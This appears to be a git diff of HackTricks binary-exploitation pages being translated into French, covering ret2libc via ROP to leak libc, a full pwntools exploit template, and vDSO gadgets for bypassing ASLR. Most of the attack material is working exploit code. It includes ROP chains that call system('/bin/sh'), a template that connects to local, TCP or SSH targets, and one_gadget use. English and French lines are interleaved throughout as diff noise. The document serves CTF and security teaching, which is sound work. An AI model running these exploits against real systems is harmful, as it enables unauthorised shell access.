response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
@ -213,5 +198,4 @@ p.sendline(payload)
p.interactive()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,84 +1,77 @@
# Leaking libc address with ROP
# Fuite de l'adresse libc avec ROP
{{#include ../../../../banners/hacktricks-training.md}}
## Quick Resume
## Résumé rapide
1. **Find** overflow **offset**
2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets
3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
4. With the library, **calculate the ROP and exploit it**
1. **Trouver** l'**offset** de débordement
2. **Trouver** le gadget `POP_RDI`, les gadgets `PUTS_PLT` et `MAIN`
3. Utiliser les gadgets précédents pour **fuir l'adresse mémoire** de puts ou d'une autre fonction libc et **trouver la version de libc** ([téléchargez-le](https://libc.blukat.me))
4. Avec la bibliothèque, **calculer le ROP et l'exploiter**
## Other tutorials and binaries to practice
## Autres tutoriels et binaires pour pratiquer
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
Ce tutoriel va exploiter le code/binaire proposé dans ce tutoriel : [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Autres tutoriels utiles : [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
## Code
Filename: `vuln.c`
Nom de fichier : `vuln.c`
```c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
return 0;
}
```
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - Modèle de fuite de LIBC
## ROP - Leaking LIBC template
Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
Téléchargez l'exploit et placez-le dans le même répertoire que le binaire vulnérable et fournissez les données nécessaires au script :
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
## 1- Finding the offset
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
## 1- Trouver l'offset
Le modèle a besoin d'un offset avant de continuer avec l'exploit. Si un offset est fourni, il exécutera le code nécessaire pour le trouver (par défaut `OFFSET = ""`) :
```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
**Exécutez** `python template.py`, une console GDB s'ouvrira avec le programme en cours de plantage. Dans cette **console GDB**, exécutez `x/wx $rsp` pour obtenir les **octets** qui allaient écraser le RIP. Enfin, obtenez le **décalage** en utilisant une console **python** :
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../../images/image (1007).png>)
After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
Après avoir trouvé le décalage (dans ce cas 40), changez la variable OFFSET à l'intérieur du modèle en utilisant cette valeur.\
`OFFSET = "A" * 40`
Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
Une autre façon serait d'utiliser : `pattern create 1000` -- _exécuter jusqu'à ret_ -- `pattern seach $rsp` depuis GEF.
## 2- Finding Gadgets
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
## 2- Trouver des Gadgets
Maintenant, nous devons trouver des gadgets ROP à l'intérieur du binaire. Ces gadgets ROP seront utiles pour appeler `puts` afin de trouver la **libc** utilisée, et plus tard pour **lancer l'exploit final**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
Le `PUTS_PLT` est nécessaire pour appeler la **fonction puts**.\
Le `MAIN_PLT` est nécessaire pour rappeler la **fonction main** après une interaction pour **exploiter** le débordement **à nouveau** (tours d'exploitation infinies). **Il est utilisé à la fin de chaque ROP pour rappeler le programme**.\
Le **POP_RDI** est nécessaire pour **passer** un **paramètre** à la fonction appelée.
The `PUTS_PLT` is needed to call the **function puts**.\
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
The **POP_RDI** is needed to **pass** a **parameter** to the called function.
À cette étape, vous n'avez pas besoin d'exécuter quoi que ce soit car tout sera trouvé par pwntools pendant l'exécution.
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
## 3- Finding libc library
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
## 3- Trouver la bibliothèque libc
Il est maintenant temps de trouver quelle version de la **libc** est utilisée. Pour ce faire, nous allons **leaker** l'**adresse** en mémoire de la **fonction** `puts` et ensuite nous allons **chercher** dans quelle **version de la bibliothèque** se trouve la version de puts à cette adresse.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```
To do so, the most important line of the executed code is:
Pour ce faire, la ligne la plus importante du code exécuté est :
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Cela enverra quelques octets jusqu'à ce que **l'écrasement** du **RIP** soit possible : `OFFSET`.\
Ensuite, il définira l'**adresse** du gadget `POP_RDI` afin que la prochaine adresse (`FUNC_GOT`) soit enregistrée dans le registre **RDI**. C'est parce que nous voulons **appeler puts** en **passant** l'**adresse** de `PUTS_GOT` car l'adresse en mémoire de la fonction puts est enregistrée à l'adresse pointée par `PUTS_GOT`.\
Après cela, `PUTS_PLT` sera appelé (avec `PUTS_GOT` à l'intérieur du **RDI**) afin que puts **lise le contenu** à l'intérieur de `PUTS_GOT` (**l'adresse de la fonction puts en mémoire**) et **l'affiche**.\
Enfin, **la fonction main est appelée à nouveau** afin que nous puissions exploiter le débordement à nouveau.
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
Finally, **main function is called again** so we can exploit the overflow again.
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
De cette manière, nous avons **trompé la fonction puts** pour **afficher** l'**adresse** en **mémoire** de la fonction **puts** (qui se trouve dans la bibliothèque **libc**). Maintenant que nous avons cette adresse, nous pouvons **chercher quelle version de libc est utilisée**.
![](<../../../../images/image (1049).png>)
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
But, in a remote exploit case I will explain here how can you find it:
Comme nous **exploitons** un binaire **local**, il n'est **pas nécessaire** de déterminer quelle version de **libc** est utilisée (il suffit de trouver la bibliothèque dans `/lib/x86_64-linux-gnu/libc.so.6`).\
Mais, dans le cas d'une exploitation à distance, je vais expliquer ici comment vous pouvez le trouver :
### 3.1- Searching for libc version (1)
### 3.1- Recherche de la version de libc (1)
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
It will also allow you to download the discovered version of **libc**
Vous pouvez rechercher quelle bibliothèque est utilisée sur la page web : [https://libc.blukat.me/](https://libc.blukat.me)\
Cela vous permettra également de télécharger la version découverte de **libc**
![](<../../../../images/image (221).png>)
### 3.2- Searching for libc version (2)
### 3.2- Recherche de la version de libc (2)
You can also do:
Vous pouvez également faire :
- `$ git clone https://github.com/niklasb/libc-database.git`
- `$ cd libc-database`
- `$ ./get`
This will take some time, be patient.\
For this to work we need:
Cela prendra un certain temps, soyez patient.\
Pour que cela fonctionne, nous avons besoin de :
- Libc symbol name: `puts`
- Leaked libc adddress: `0x7ff629878690`
We can figure out which **libc** that is most likely used.
- Nom du symbole libc : `puts`
- Adresse libc divulguée : `0x7ff629878690`
Nous pouvons déterminer quelle **libc** est très probablement utilisée.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
We get 2 matches (you should try the second one if the first one is not working). Download the first one:
Nous obtenons 2 correspondances (vous devriez essayer la deuxième si la première ne fonctionne pas). Téléchargez la première :
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
Copiez la libc depuis `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` vers notre répertoire de travail.
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
### 3.3- Other functions to leak
### 3.3- Autres fonctions à leak
```python
puts
printf
@ -198,28 +181,24 @@ __libc_start_main
read
gets
```
## 4- Trouver l'adresse libc basée et exploiter
## 4- Finding based libc address & exploiting
À ce stade, nous devrions connaître la bibliothèque libc utilisée. Comme nous exploitons un binaire local, j'utiliserai simplement : `/lib/x86_64-linux-gnu/libc.so.6`
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
Donc, au début de `template.py`, changez la variable **libc** en : `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Définir le chemin de la bibliothèque quand on le connaît`
So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
Inside the `get_addr`function the **base address of libc** is going to be calculated:
En donnant le **chemin** à la **bibliothèque libc**, le reste de l'**exploit va être automatiquement calculé**.
À l'intérieur de la fonction `get_addr`, l'**adresse de base de libc** va être calculée :
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
> [!NOTE]
> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
> Notez que **l'adresse de base finale de libc doit se terminer par 00**. Si ce n'est pas votre cas, vous pourriez avoir fuité une bibliothèque incorrecte.
Ensuite, l'adresse de la fonction `system` et l'**adresse** de la chaîne _"/bin/sh"_ vont être **calculées** à partir de l'**adresse de base** de **libc** et données la **bibliothèque libc.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -228,9 +207,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
Finally, the /bin/sh execution exploit is going to be prepared sent:
Enfin, l'exploit d'exécution /bin/sh va être préparé et envoyé :
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -240,65 +217,56 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
Expliquons ce dernier ROP.\
Le dernier ROP (`rop1`) a de nouveau appelé la fonction principale, puis nous pouvons **exploiter à nouveau** le **débordement** (c'est pourquoi l'`OFFSET` est ici encore). Ensuite, nous voulons appeler `POP_RDI` en pointant vers l'**adresse** de _"/bin/sh"_ (`BINSH`) et appeler la fonction **system** (`SYSTEM`) car l'adresse de _"/bin/sh"_ sera passée en paramètre.\
Enfin, l'**adresse de la fonction exit** est **appelée** afin que le processus **se termine proprement** et qu'aucune alerte ne soit générée.
Let's explain this final ROP.\
The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
**De cette façon, l'exploit exécutera un \_/bin/sh**\_\*\* shell.\*\*
![](<../../../../images/image (165).png>)
## 4(2)- Using ONE_GADGET
## 4(2)- Utiliser ONE_GADGET
You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
Vous pouvez également utiliser [**ONE_GADGET** ](https://github.com/david942j/one_gadget) pour obtenir un shell au lieu d'utiliser **system** et **"/bin/sh". ONE_GADGET** trouvera à l'intérieur de la bibliothèque libc un moyen d'obtenir un shell en utilisant juste une **adresse ROP**.\
Cependant, normalement, il y a certaines contraintes, les plus courantes et faciles à éviter sont comme `[rsp+0x30] == NULL`. Comme vous contrôlez les valeurs à l'intérieur de **RSP**, vous devez simplement envoyer quelques valeurs NULL supplémentaires afin d'éviter la contrainte.
![](<../../../../images/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## FICHIER D'EXPLOITATION
## EXPLOIT FILE
You can find a template to exploit this vulnerability here:
Vous pouvez trouver un modèle pour exploiter cette vulnérabilité ici :
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
## Common problems
## Problèmes courants
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist. Then you can find where is the main code:
### MAIN_PLT = elf.symbols\['main'] non trouvé
Si le symbole "main" n'existe pas. Alors vous pouvez trouver où se trouve le code principal :
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
et définissez l'adresse manuellement :
```python
MAIN_PLT = 0x401080
```
### Puts non trouvé
### Puts not found
Si le binaire n'utilise pas Puts, vous devriez vérifier s'il utilise
If the binary is not using Puts you should check if it is using
### `sh: 1: %s%s%s%s%s%s%s%s: non trouvé`
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
Si vous trouvez cette **erreur** après avoir créé **tous** les exploits : `sh: 1: %s%s%s%s%s%s%s%s: non trouvé`
Essayez de **soustraire 64 octets à l'adresse de "/bin/sh"** :
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,6 @@
# Leaking libc - template
# Fuite de libc - modèle
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```python:template.py
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
if LOCAL:
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main")
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main")
@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH:
OFFSET = b"" #b"A"*264
if OFFSET == b"":
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
@ -69,11 +64,11 @@ if OFFSET == b"":
### Find Gadgets ###
####################
try:
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
except:
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']
MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET))
########################
def generate_payload_aligned(rop):
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
def get_addr(libc_func):
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
return hex(leak)
return hex(leak)
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
## Via One_gadget (https://github.com/david942j/one_gadget)
# gem install one_gadget
def get_one_gadgets(libc):
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
rop2 = b""
if USE_ONE_GADGET:
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
## Normal/Long exploitation
if not rop2:
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
print(P.clean())
@ -189,41 +184,30 @@ P.sendline(rop2)
P.interactive() #Interact with your shell :)
```
## Problèmes courants
## Common problems
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:
### MAIN_PLT = elf.symbols\['main'] non trouvé
Si le symbole "main" n'existe pas (probablement parce que c'est un binaire obfusqué). Alors vous pouvez simplement trouver où se trouve le code principal :
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
et définissez l'adresse manuellement :
```python
MAIN_PLT = 0x401080
```
### Puts non trouvé
### Puts not found
Si le binaire n'utilise pas Puts, vous devriez **vérifier s'il utilise**
If the binary is not using Puts you should **check if it is using**
### `sh: 1: %s%s%s%s%s%s%s%s: non trouvé`
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
Si vous trouvez cette **erreur** après avoir créé **tout** l'exploit : `sh: 1: %s%s%s%s%s%s%s%s: non trouvé`
Essayez de **soustraire 64 octets à l'adresse de "/bin/sh"** :
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with:
Il peut y avoir des **gadgets dans la région vDSO**, qui est utilisée pour passer du mode utilisateur au mode noyau. Dans ce type de défis, une image du noyau est généralement fournie pour vider la région vDSO.
En suivant l'exemple de [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/), il est possible de voir comment il a été possible de vider la section vdso et de la déplacer vers l'hôte avec :
```bash
# Find addresses
cat /proc/76/maps
@ -33,9 +32,7 @@ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
```
ROP gadgets found:
Gadgets ROP trouvés :
```python
vdso_addr = 0xf7ffc000
@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
> [!CAUTION]
> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
